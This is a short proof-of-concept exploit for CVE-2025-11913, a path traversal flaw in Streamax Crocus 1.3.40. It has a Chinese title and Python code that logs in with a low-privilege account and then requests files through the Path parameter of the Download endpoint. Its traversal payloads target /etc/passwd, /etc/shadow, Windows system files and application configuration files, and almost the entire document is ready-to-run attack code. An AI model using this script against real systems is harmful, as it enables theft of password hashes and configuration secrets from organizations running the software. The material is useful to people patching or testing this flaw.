CVE-2025-11913：Streamax Crocus路径遍历漏洞

# CVE-2025-11913 - Streamax Crocus Path Traversal PoC # Vulnerability: Path Traversal in Download function # Affected endpoint: /Service.do?Action=Download # Affected parameter: Path # Affected version: Streamax Crocus 1.3.40 import requests # Target configuration TARGET_URL = "http://target-host" LOGIN_URL = f"{TARGET_URL}/login.do" # Adjust login endpoint as needed DOWNLOAD_URL = f"{TARGET_URL}/Service.do?Action=Download" # Authentication credentials (low privilege account required) USERNAME = "low_priv_user" PASSWORD = "password123" # Create session to maintain cookies session = requests.Session() def authenticate(): """Authenticate with the target system using low privilege credentials""" login_data = { "username": USERNAME, "password": PASSWORD } response = session.post(LOGIN_URL, data=login_data) if response.status_code == 200: print("[+] Authentication successful") return True print("[-] Authentication failed") return False def exploit_path_traversal(target_file): """ Exploit path traversal vulnerability to read arbitrary files :param target_file: The file path to read (e.g., "../../../etc/passwd") """ # Construct malicious Path parameter with directory traversal payload = { "Path": target_file } response = session.get(DOWNLOAD_URL, params=payload) if response.status_code == 200 and len(response.content) > 0: print(f"[+] Successfully read file: {target_file}") print(f"[+] File content:\n{response.text[:500]}") return response.text else: print(f"[-] Failed to read file: {target_file}") return None def main(): # Step 1: Authenticate if not authenticate(): return # Step 2: Exploit path traversal to read sensitive files # Linux/Unix targets target_files = [ "../../../etc/passwd", "../../../etc/shadow", "../../../etc/hosts", "../../../../../../etc/passwd", # Windows targets "..\\..\\..\\..\\windows\\win.ini", "..\\..\\..\\..\\windows\\system32\\drivers\\etc\\hosts", # Application configuration files "../../../WEB-INF/web.xml", "../../../conf/database.properties", "../config/application.yml" ] for target_file in target_files: content = exploit_path_traversal(target_file) if content: break if __name__ == "__main__": main()